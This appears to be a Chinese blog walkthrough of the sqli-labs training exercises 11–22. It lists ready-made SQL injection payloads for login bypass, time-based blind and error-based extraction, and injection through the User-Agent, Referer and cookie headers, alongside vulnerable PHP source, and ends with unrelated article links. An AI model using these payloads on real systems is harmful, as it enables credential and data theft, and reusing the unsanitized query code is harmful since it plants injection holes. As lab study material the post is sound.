SQL注入之POST型常规注入
来源:互联网 发布:windows phone 10微信 编辑:程序博客网 时间:2024/06/05 21:06
less11单引号字符型注入
注入:test' or 1=1 #&password=test
sql语句:select username, password from users where username='test' or 1=1 #' and password='test' limit 0,1;
注入:uname=test&passwd=test' or '1'='1
sql语句:select username,password from users where username='test' and password='test' or '1'='1' limit 0,1;
less12双引号字符型变形的注入
注入:uname=a&passwd=a") or 1=1#
less13单引号变形双注入
注入:uname=a&passwd=a') or ('1')=('1
less14单引号双注入
注入:uname=a&passwd=a' or '1'='1
less15单引号盲注
注入:uname=a&passwd=a' or 1=1#
uname=a&passwd=a') or if(length(database())>7,1,sleep(7))#
less16双引号盲注
注入:uname=a&passwd=a") or if(length(database())>7,1,sleep(5))#
less17更新查询POST注入
过滤函数:check_input()
注入:
获取当前数据库:uname=admin&passwd=a' or updatexml(1,concat(0x282b5d,database()),1)#
获取当前用户:uname=admin&passwd=a' or updatexml(1,concat(0x282b5d,(select user())),1)#
获取数据表:uname=admin&passwd=a' or updatexml(1,concat(0x282b5d,(select table_name from information_schema.tables where table_schema=0x7365 limit 0,1)),1)#
查看字段名:uname=admin&passwd=a' or updatexml(1,concat(0x282b5d,(select conlumn_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)#
查看数据:uname=admin&passwd=a' or updatexml(1,concat(0x282b5d,(select password from users where uname='admin')),1)#
less18基于头部的User-Agent注入,使用火狐插件live http headers代理工具
注入:User-Agent: Mozila/5.0 .. Firefox/46.0 or updatexml(0,concat(0x2b5e,database()),0),",")#
Firefox/46.0 or updatexml(0,concat(0x2b5e,(select email_id from emails limit 0,1)),0),",")#
less19基于头部的referer注入
注入:' or extractvalue(1,concat(0x2b,version())),")# extractvalue函数只有两个参数,updatexml有3个
' or extractvalue(1,concat(0x2b,(select email_id from emails limit 0,1))),")#
less20基于头部的cookie注入
没有cookie,设置cookie,源码:
$uname=check_input($_POST['uname']);
$passwd=check_input($_POST['passwd']);
$sql="select users.username,users.password from users where users.username=$uname and users.password=$passwd order by users.id desc limit 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
cookie=$row['username'];
if($row){
setcookie('uname', cookie,time()+3600);
header('Location : index.php');
cookie存在,源码:
$cookee=$_COOKIE['uname'];
$sql="select * from users where username='$cookee' limit 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
若按了删除cookie的按钮,后台设置时间为过期时间,删除cookie
setcookie('uname',$row['username'],time()-3600);
header('Location:index.php');
注入:Cookie:uname=admin'
Cookie:uname=admin' order by 4#
Cookie:uname=' union select 1,2,email_id from emails#
Cookie:uname=' union select 1,2,email_id from emails limit 1,1#
less21单引号字符型变形Cookie注入
源码:$cookee=base64_decode($cookee);
$sql="select * from users where username=('$cookee') limit 0,1";
注入:Cookie:uname=') union select 1,2,email_id from emails# //base64编码
less22双引号字符型Cookie注入
注入:Cookie:uname=" union select 1,2,email_id from emails# //base64编码
- SQL注入之POST型常规注入
- SQL注入之GET型常规注入
- sql注入之GET/POST注入
- (学习)SQL注入-POST注入
- SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
- 注入攻击之sql注入
- SQL注入之联合注入
- SQL注入之堆叠注入
- SQL注入之cookie注入
- SQL注入之cookie注入
- SQL注入之报错型注入
- 简单post注入之成绩单
- SQL 注入之ACCESS
- ibatis之sql注入
- SQL注入之我见
- SQL注入之注释
- PHP之SQL注入
- SQL注入之绕过
- 菜鸟起飞——机器学习实战第一篇:总体介绍
- 40个Java多线程问题总结
- 清理软件CClearner
- 关系代数运算之连接
- udp服务器
- SQL注入之POST型常规注入
- <Linux>Ubuntu-gcc编译器无法编译sqrt函数和aqrtf函数的解决方法以及sqrt和aqrtf函数的区别
- 5-10 公路村村通 (Kruskal+并查集)
- java 百钱买百鸡
- 使用notepad++ 安装NppFTP 远程连接Linux
- JAVA排序,从小到大的Vector
- ubuntu下php的编译安装与部署
- maven-常用plugin备忘
- 共享经济其实很“自私”,区块链技术想给它一条出路